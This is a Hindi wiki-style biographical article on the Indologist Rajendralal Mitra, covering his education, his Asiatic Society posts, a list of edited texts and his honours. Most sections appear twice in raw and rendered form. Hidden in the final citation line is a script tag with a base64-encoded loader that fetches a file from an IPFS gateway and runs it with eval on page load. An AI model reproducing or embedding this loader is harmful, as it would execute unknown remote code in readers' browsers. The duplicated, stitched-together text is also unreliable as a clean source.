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'''राजेन्द्रलाल मित्रा''' ([[अंग्रेज़ी]]: ''Rajendralal Mitra'' ,जन्म: [[16 फ़रवरी]], 1822, [[कोलकाता]]; मृत्यु: [[27 जुलाई]], [[1891]]) भारत विद्या से संबंधित विषयों के प्रख्मात विद्वान थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=714|url=}}</ref>इन्होंने [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[बंगला भाषा|बंगला]] और [[अंग्रेजी भाषा|अंग्रेजी]] भाषाओं में दक्षता-प्राप्त की थी। इन्होंने अनेक ग्रंथ एवं रचनाओं का संपादन किया है। राजेन्द्रलाल मित्रा 25 वर्ष तक 'वाडिया इंस्टीट्यूट' के निदेशक रहे थे।
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==जन्म एवं शिक्षा==
 
==जन्म एवं शिक्षा==
 
राजा राजेन्द्रलाल मित्रा का जन्म 16 फ़रवरी, 1822 ई. में कोलकाता में हुआ था। इनकी शिक्षा में बड़ी बाधाएं आईं। 15 वर्ष की उम्र में मेडिकल कॉलेज में भर्ती हुए। वहां चार वर्ष की पढ़ाई में अपनी योग्यता से बड़ी ख्याति अर्जित की, पर कुछ कारणों से डिग्री नहीं ले सके। फिर इन्होंने कानून की पढ़ाई आरंभ की, पर पर्चे आउट हो जाने की सूचना से यहां भी परीक्षा नहीं हो सकी। लेकिन अपने अध्यवसाय से इन्होंने [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[बंगला भाषा|बंगला]] और [[अंग्रेजी भाषा|अंग्रेजी]] भाषाओं में दक्षता-प्राप्त की और 1849 में प्रसिद्ध संस्था 'एशियाटिक सोसायटी' के सहायक मंत्री बन गए। यहां पर पुस्तकों और पांड्डलिपियों का भंडार इनके अध्ययन के लिए खुल गया। 10 वर्ष सोसायटी में रहने के बाद 25 वर्ष तक वे 'वाडिया इंस्टीट्यूट' के निदेशक रहे। फिर भी सोसायटी से इनका संपर्क बना रहा।  
 
राजा राजेन्द्रलाल मित्रा का जन्म 16 फ़रवरी, 1822 ई. में कोलकाता में हुआ था। इनकी शिक्षा में बड़ी बाधाएं आईं। 15 वर्ष की उम्र में मेडिकल कॉलेज में भर्ती हुए। वहां चार वर्ष की पढ़ाई में अपनी योग्यता से बड़ी ख्याति अर्जित की, पर कुछ कारणों से डिग्री नहीं ले सके। फिर इन्होंने कानून की पढ़ाई आरंभ की, पर पर्चे आउट हो जाने की सूचना से यहां भी परीक्षा नहीं हो सकी। लेकिन अपने अध्यवसाय से इन्होंने [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[बंगला भाषा|बंगला]] और [[अंग्रेजी भाषा|अंग्रेजी]] भाषाओं में दक्षता-प्राप्त की और 1849 में प्रसिद्ध संस्था 'एशियाटिक सोसायटी' के सहायक मंत्री बन गए। यहां पर पुस्तकों और पांड्डलिपियों का भंडार इनके अध्ययन के लिए खुल गया। 10 वर्ष सोसायटी में रहने के बाद 25 वर्ष तक वे 'वाडिया इंस्टीट्यूट' के निदेशक रहे। फिर भी सोसायटी से इनका संपर्क बना रहा।  
 
==लेखन कार्य==
 
==लेखन कार्य==
राजेन्द्रलाल मित्रा अपनी कार्यवाही जीवन की पूरी अवधि में भारतीय वांङ्मय की खोज और उसे पाठकों के लिए उपलब्ध कराने में लगे रहे। इन्होंने सोसायटी पांड्डलिपियों की सूचियां प्रकाशित कीं और विभिन्न विषयों के मानक ग्रंथों की रचना की। इनके कुछ उल्लेखनीय ग्रंथ हैं-
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राजेन्द्रलाल मित्रा अपनी कार्रवाई जीवन की पूरी अवधि में भारतीय वांङ्मय की खोज और उसे पाठकों के लिए उपलब्ध कराने में लगे रहे। इन्होंने सोसायटी पांड्डलिपियों की सूचियां प्रकाशित कीं और विभिन्न विषयों के मानक ग्रंथों की रचना की। इनके कुछ उल्लेखनीय ग्रंथ हैं-
 
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# छांदोग्य उपनिषद
छांदोग्य उपनिषद
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# तैत्तरीय ब्राह्मण और आरण्यक
 
 
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# गोपथ ब्राह्मण
 
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# ऐतरेय आरण्यक
 
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# पातंजलि का योगसूत्र
 
# पातंजलि का योगसूत्र
 
 
# अग्निपुराण
 
# अग्निपुराण
 
 
# वायुपुराण  
 
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# बौद्ध ग्रंथ ललित विस्तार  
 
# बौद्ध ग्रंथ ललित विस्तार  
 
 
# अष्टसहसिक
 
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# उड़ीसा का पुरातत्व
 
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# बोध गया
 
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# शाक्य मुनि
 
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====सम्पादन कार्य====
 
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राजेन्द्रलाल मित्रा अनेक संस्थाओं के सम्मानित सदस्य थे। [[1885]] में ये 'एशियाटिक सोसायटी' के अध्यक्ष रहे। [[1886]] की कोलकाता कांग्रेस में इन्होंने अपने विचार प्रकट किए थे। 'विविधार्थ' और 'रहस्य संदर्भ' नामक पत्रों का संपादन किया।
 
राजेन्द्रलाल मित्रा अनेक संस्थाओं के सम्मानित सदस्य थे। [[1885]] में ये 'एशियाटिक सोसायटी' के अध्यक्ष रहे। [[1886]] की कोलकाता कांग्रेस में इन्होंने अपने विचार प्रकट किए थे। 'विविधार्थ' और 'रहस्य संदर्भ' नामक पत्रों का संपादन किया।
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राजेन्द्रलाल मित्रा
राजेन्द्रलाल मित्रा
पूरा नाम राजेन्द्रलाल मित्रा
जन्म 16 फ़रवरी, 1822
जन्म भूमि कोलकाता
मृत्यु 27 जुलाई, 1891
कर्म भूमि भारत
मुख्य रचनाएँ 'उड़ीसा का पुरातत्व', 'बोध गया', 'शाक्य मुनि', 'छांदोग्य उपनिषद', 'तैत्तरीय ब्राह्मण और आरण्यक', 'गोपथ ब्राह्मण' आदि।
पुरस्कार-उपाधि 'रायबहादुर' और 'राजा' 1888
नागरिकता भारतीय
अन्य जानकारी राजेन्द्रलाल मित्रा अपनी कार्रवाई जीवन की पूरी अवधि में भारतीय वांङ्मय की खोज और उसे पाठकों के लिए उपलब्ध कराने में लगे रहे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

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राजेन्द्रलाल मित्रा (अंग्रेज़ी: Rajendralal Mitra ,जन्म: 16 फ़रवरी, 1822, कोलकाता; मृत्यु: 27 जुलाई, 1891) भारत विद्या से संबंधित विषयों के प्रख्यात विद्वान् थे।[1]इन्होंने संस्कृत, फ़ारसी, बंगला और अंग्रेजी भाषाओं में दक्षता-प्राप्त की थी। इन्होंने अनेक ग्रंथ एवं रचनाओं का संपादन किया है। राजेन्द्रलाल मित्रा 25 वर्ष तक 'वाडिया इंस्टीट्यूट' के निदेशक रहे थे।

जन्म एवं शिक्षा

राजा राजेन्द्रलाल मित्रा का जन्म 16 फ़रवरी, 1822 ई. में कोलकाता में हुआ था। इनकी शिक्षा में बड़ी बाधाएं आईं। 15 वर्ष की उम्र में मेडिकल कॉलेज में भर्ती हुए। वहां चार वर्ष की पढ़ाई में अपनी योग्यता से बड़ी ख्याति अर्जित की, पर कुछ कारणों से डिग्री नहीं ले सके। फिर इन्होंने कानून की पढ़ाई आरंभ की, पर पर्चे आउट हो जाने की सूचना से यहां भी परीक्षा नहीं हो सकी। लेकिन अपने अध्यवसाय से इन्होंने संस्कृत, फ़ारसी, बंगला और अंग्रेजी भाषाओं में दक्षता-प्राप्त की और 1849 में प्रसिद्ध संस्था 'एशियाटिक सोसायटी' के सहायक मंत्री बन गए। यहां पर पुस्तकों और पांड्डलिपियों का भंडार इनके अध्ययन के लिए खुल गया। 10 वर्ष सोसायटी में रहने के बाद 25 वर्ष तक वे 'वाडिया इंस्टीट्यूट' के निदेशक रहे। फिर भी सोसायटी से इनका संपर्क बना रहा।

लेखन कार्य

राजेन्द्रलाल मित्रा अपनी कार्रवाई जीवन की पूरी अवधि में भारतीय वांङ्मय की खोज और उसे पाठकों के लिए उपलब्ध कराने में लगे रहे। इन्होंने सोसायटी पांड्डलिपियों की सूचियां प्रकाशित कीं और विभिन्न विषयों के मानक ग्रंथों की रचना की। इनके कुछ उल्लेखनीय ग्रंथ हैं-

  1. छांदोग्य उपनिषद
  2. तैत्तरीय ब्राह्मण और आरण्यक
  3. गोपथ ब्राह्मण
  4. ऐतरेय आरण्यक
  5. पातंजलि का योगसूत्र
  6. अग्निपुराण
  7. वायुपुराण
  8. बौद्ध ग्रंथ ललित विस्तार
  9. अष्टसहसिक
  10. उड़ीसा का पुरातत्व
  11. बोध गया
  12. शाक्य मुनि

सम्पादन कार्य

राजेन्द्रलाल मित्रा अनेक संस्थाओं के सम्मानित सदस्य थे। 1885 में ये 'एशियाटिक सोसायटी' के अध्यक्ष रहे। 1886 की कोलकाता कांग्रेस में इन्होंने अपने विचार प्रकट किए थे। 'विविधार्थ' और 'रहस्य संदर्भ' नामक पत्रों का संपादन किया।

इतिहासवेत्ता

राजेन्द्रलाल मित्रा निष्ठावान बुद्धिजीवी और सच्चे अर्थों में इतिहास वेत्ता थे। इनका कहना था कि- "यदि राष्ट्रप्रेम का यह अर्थ लिया जाए कि हमारे अतीत का अच्छा या बुरा जो कुछ है, उससे हमें प्रेम करना चाहिए, तो ऐसी राष्ट्रभक्ति को मैं दूर से ही प्रणाम करता हूँ।" इनकी योग्यता के कारण सरकार ने पहले उन्हें 'रायबहादुर' और 1888 में 'राजा' की उपाधि दे कर सम्मानित किया था।

मृत्यु

राजेन्द्रलाल मित्रा का निधन 27 जुलाई, 1891 को हुआ।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 714 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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